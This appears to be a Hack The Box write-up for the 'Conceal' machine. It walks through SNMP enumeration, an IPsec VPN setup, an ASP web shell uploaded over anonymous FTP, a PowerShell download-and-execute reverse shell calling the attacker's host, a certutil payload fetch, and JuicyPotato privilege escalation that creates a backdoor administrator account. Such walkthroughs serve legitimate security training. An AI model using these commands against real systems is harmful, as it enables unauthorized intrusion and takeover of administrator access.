search

Conceal

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.116 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

There are no ports open, or at least that is what it looks like. But, if we scan the UDP ports, we'll see that ports 161, and 500 are open.

nmap -sU -p- --min-rate 10000 -n -Pn -oN allPortsUDP 10.10.10.116

  • -sU scan UDP ports.

  • --min-rate 10000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we can see in the Wikipedia list of TCP and UDP portsarrow-up-right, port 161 is for Simple Network Management Protocol (SNMP), and port 500 is used by most IPSEC-based VPN systems for the establishment of securely encrypted "tunnels" between endpoint machines.

hashtag
Exploitation

Sometimes, we can get useful information from the SNMP service. In this case, we can get a password hash using snmpwalk.

snmpwalk -v 2c -c public 10.10.10.116

  • -v specifies SNMP version to use.

  • -c set the community string.

We can see with crackstation, that the password is Dudecake1!.

Now that we have a password, we could try to connect to the IPSEC VPN on port 500. But first, we need more information about the Internet Key Exchange (IKE).

ike-scan 10.10.10.116 -M

  • -M split the payload decode across multiple lines.

Finally, before configuring connecting the VPN, we need to install some tools, and adjust the HTB network interface.

apt-get install strongswan libstrongswan-extra-plugins

ifconfig tun0 mtu 1000

Now we are ready to start modifying the configuration files necessary to connect to the VPN. First, we'll have to add the password we found to the /etc/ipsec.secrets.

nano /etc/ipsec.secrets

Then, we have to configure a new connection in the /etc/ipsec.conf with the following options.

nano /etc/ipsec.conf

Then, restart the ipsec service, and connect to the VPN we just set up.

ipsec restart

ipsec up conceal

If now we scan the ports of the machine, we'll see some open. Make sure to make a TCP scan.

nmap -sT --min-rate 5000 -p- -T5 -Pn -n 10.10.10.116 -oN allPorts

  • -sT TCP connect scan is the default TCP scan type when SYN scan is not an option..

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

There is an FTP server which allows anonymous login. But the file server is empty.

ftp 10.10.10.116

The website just shows the default Windows Web Server IIS website.

If we search for subdirectories with gobuster, we'll find the /upload directory.

gobuster dir -u http://10.10.10.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

The /upload directory is empty.

But, if we upload a test.txt file to the FTP server.

ftp> put test.txt

We'll see the file in the /upload directory, and we could access it.

Let's try to run commands on the system by uploading a .asp file. First, make the cmd.asp file with the following content.

nano cmd.asp

Now, upload it to the FTP server.

ftp> put cmd.asp

And run commands with the cmd GET parameter.

http://10.10.10.116/upload/cmd.asp?cmd=whoamiarrow-up-right

Time to get a shell. First, download the Invoke-PowerShellTcp.ps1arrow-up-right file from Nishang, and add the following function at the end of the script. I will rename the file.

mv Invoke-PowerShellTcp.ps1 rv.ps1

nano rv.ps1

Now, set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And set a simple HTTP server with python on the current directory.

python -m http.server 80

Now, if we access the following URL, the machine will download the rv.ps1 file, and will send us a reverse shell as the conceal\destitute user. Then we'll be able to grab the user flag.

http://10.10.10.116/upload/cmd.asp?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/rv.ps1')

hashtag
Privilege Escalation

Let's see what privileges the user conceal\destitute has.

whoami /priv

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

circle-info

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potatoarrow-up-right

To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a python HTTP server on the directory where we have the JuicyPotato binary.

python -m SimpleHTTPServer

And download the binaries from the desktop folder of the nt authority\iusr user.

certutil.exe -f -urlcache -split http://10.10.14.11:8000/JuicyPotato.exe JuicyPotato.exe

The idea is to create a new user called alfa8sa, then add that user to the administrators group, modify some necessary registry, and then we'll be able to get a shell as the NT AUTHORITY\SYSTEM user with the psexec.py tool. Let's run the JuicyPotato binary to create the new user.

.\JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user alfa8sa alfa8sa123$! /add"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

But we get an error. This is happening because JuicyPotato is using the default CLSID. If check for system information, we'll see the machine is a Microsoft Windows 10 Enterprise.

systeminfo

So we have to change the CLSID to a valid one. You can check a Windows 10 Enterprise CLSID list herearrow-up-right.

circle-info

The Class ID, or CLSID, is a serial number that represents a unique ID for any application component in Windows. In practice, this means all registry entries for an application component can usually be found under the registry key HKEY_CLASSES_ROOT\CLSID{CLSID value}.

If we change it for {5B3E6773-3A99-4A3D-8096-7765DD11785C}, the user will be created.

.\JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user alfa8sa alfa8sa123$! /add" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

  • -c use CLSID.

Now, add the alfa8sa user to the administrators group.

.\JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators alfa8sa /add" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

We can check that the alfa8sa user is a member of the administrators group.

net user alfa8sa

To be able to get a shell with psexec.py, we'll need to modify certain registry.

.\JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

Finally, if we get a shell as nt authority\system with psexec.py, then all we have to do is reap the harvest and take the root flag.

psexec.py WORKGROUP/alfa8sa:'alfa8sa123$!'@10.10.10.116

Last updated